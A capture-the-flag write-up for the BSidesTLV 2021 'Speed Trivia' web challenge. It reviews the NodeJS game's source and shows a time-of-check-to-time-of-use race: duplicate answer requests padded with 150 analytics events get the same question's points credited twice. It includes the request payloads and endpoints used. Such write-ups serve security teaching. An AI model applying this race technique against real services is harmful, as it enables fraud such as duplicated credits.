Speed Trivia
- Category: Web
- 250 Points
- Solved by the JCTF Team
Description
Solution
Following the supplied link, we arrive at a trivia game site.
Apparently we need to get 1337 points in order to receive the flag, however it turns out that even when answering all 3 questions correctly we get a max score of 1301.
Downloading the supplied zip file we find a NodeJS app, including a README file with instructions for running a local server using docker-compose.
Reading through the source code gives us some insights:
In the file app/helpers/questions.js
we see the developer has commented out a fourth question in order to prevent players from acheiving a high enough score.
We also see the actual questions, possible answers and correct answers.
const trivia = {
1: {
content: 'How much is 1+1',
possible_answers: [ 4, 2 ,1, 99 ],
correct_answer: 2,
points: 100
},
2: {
content: 'How much is BSIDES + BSIDES',
possible_answers: [ 11, 1337 , 99, 4 ],
correct_answer: 1337,
points: 200
},
3: {
content: 'How much is SWAG * EXPLOIT',
possible_answers: [ 11, 33 , 42, 7 ],
correct_answer: 42,
points: 1000
},
// Note: commented out the rest of the questions.
// Now they will never reach a score greater than GOAL_POINTS!
/*
4: {
content: 'What year is it?',
possible_answers: [ 1990, 2021 , 2099, 2012 ],
correct_answer: 2021,
points: 1000
}
*/
};
In the file app/helpers/game_controllers.js
we find the function that is responsible for receiving an answer, verifying it, increasing the score and proceeding to the next question:
async function answer_question(req, res, next) {
const { gameId } = req.user;
const { current_question, answer, analytics } = await sanitizeInput(req.body);
const { question_id, triviaObj } = await getState(gameId);
if(!triviaObj) { // make sure there are questions left
res.status(501);
res.json({ error: 'no more questions for you!'} );
}
else if(question_id != current_question) { // no skipping allowed!
res.status(403);
return res.json({error: `invalid current_question ${current_question} (expected: ${question_id})`});
}
else if(!triviaObj.possible_answers.includes(answer)) { // accept only valid answers!
res.status(403);
return res.json({error: `Invalid answer ${answer} (not one of possible_answers)`, possible_answers: triviaObj.possible_answers } );
}
else if(answer === triviaObj.correct_answer) { // if answer is correct
await db.incr_field(gameId, db.FIELDS.SCORE, triviaObj.points); // increase score
await reportAnalytics(analytics); // report analytics
await db.incr_field(gameId, db.FIELDS.LEVEL, 1); // increase level
return res.json({message: 'LEVEL-UP', points_added: triviaObj.points}); // return response
}
else {
res.status(403);
return res.json({ error: 'Wrong answer' });
}
}
Here we see that when a correct answer is received, the server first increases the score, then reports some analytics, and only then does the level increase (which means proceeding to the next question).
So let's see if we can do something with these so called analytics...
In the file app/public/ui.js
we can find a commented out reference to analytics, which lets us know how analytics are sent from the client:
async function send_answer(answer) {
return await new Promise((resolve, reject) => {
fetch('/api/v1/answer', {
method: 'POST',
headers: {
'Authorization': 'Bearer ' + sessionStorage.accessToken,
'Content-Type': 'application/json'
},
body: JSON.stringify({
current_question: gameData.question_id,
answer: parseInt(answer),
// analytics: ['event_sending_answer', 'event_click']
})
}).then(async res => {
resolve(res.json());
});
});
}
In the file app/helpers/analytics.js
we see how the analytics array is actually reported server side:
async function reportAnalytics(analytics) {
let analyticsObj = {};
let curr_event = '';
if(analytics.length <= ANALYTICS_LIMIT) { // Anti-DoS protection
for(i = 0; i < analytics.length; i++) {
if(analytics[i].toString().startsWith('event_')) {
curr_event = analytics[i];
analyticsObj[`event_${i}`] = curr_event;
analyticsSdk(curr_event); // TODO: tell devops to make this microservice RESPOND FASTER!
await waitfor(10); // Keep this dirty hack until devops answers back
}
}
}
console.log(`ANALYTICS SENT :: ` , analyticsObj); // log out a copy of everything we sent to the microservice
return analyticsObj;
}
Apparently, the analytics microservice is slow and requires some waiting time between reports, so the trivia app waits 10ms after sending a report.
For each element in the analytics array, if the string representation starts with 'event_', the element is copied over and the report is sent (after which there is the 10ms wait).
Additionally, there's a limit on how many elements the analytics array may have, which is set by an env variable and defaults to 150.
The plan now, is as follows:
If we can send enough analytics along with an answer, and then immediatly send the same answer again, we might trick the server into adding the points for the same question twice, because when the second answer is received by the server it will still be busy waiting for analytics reporting to be done and therefore the question level will still be the same and our second answer will pass the checks.
First we start a game with an empty POST to
https://speed-trivia.ctf.bsidestlv.com/api/v1/start_game
We get an access token in response, which we will include in all following requests under the authorization header (Bearer scheme).
We then GET the questions from
https://speed-trivia.ctf.bsidestlv.com/api/v1/questions
(not actually needed, we already have all questions and answers in questions.js file)
Next we POST the first two answers (one at a time) to
https://speed-trivia.ctf.bsidestlv.com/api/v1/answer
{"current_question":1,"answer":2}
{"current_question":2,"answer":1337}
Finally, we POST the third answer, along with 150 elements of analytics, twice (quickly/scripted):
{"current_question":3,"answer":42,"analytics": [
"event_","event_","event_","event_","event_","event_","event_","event_","event_","event_",
"event_","event_","event_","event_","event_","event_","event_","event_","event_","event_",
"event_","event_","event_","event_","event_","event_","event_","event_","event_","event_",
"event_","event_","event_","event_","event_","event_","event_","event_","event_","event_",
"event_","event_","event_","event_","event_","event_","event_","event_","event_","event_",
"event_","event_","event_","event_","event_","event_","event_","event_","event_","event_",
"event_","event_","event_","event_","event_","event_","event_","event_","event_","event_",
"event_","event_","event_","event_","event_","event_","event_","event_","event_","event_",
"event_","event_","event_","event_","event_","event_","event_","event_","event_","event_",
"event_","event_","event_","event_","event_","event_","event_","event_","event_","event_",
"event_","event_","event_","event_","event_","event_","event_","event_","event_","event_",
"event_","event_","event_","event_","event_","event_","event_","event_","event_","event_",
"event_","event_","event_","event_","event_","event_","event_","event_","event_","event_",
"event_","event_","event_","event_","event_","event_","event_","event_","event_","event_",
"event_","event_","event_","event_","event_","event_","event_","event_","event_","event_"
]}
Assuming we got a successful response on both copies of the third answer, we should have enough points to proceed to GET the flag from
https://speed-trivia.ctf.bsidestlv.com/api/v1/flag
which yields the flag BSidesTLV2021{c0ngratz-h4ck3r-TOCTOU-expl0it4ti0n-1s-an-4rt}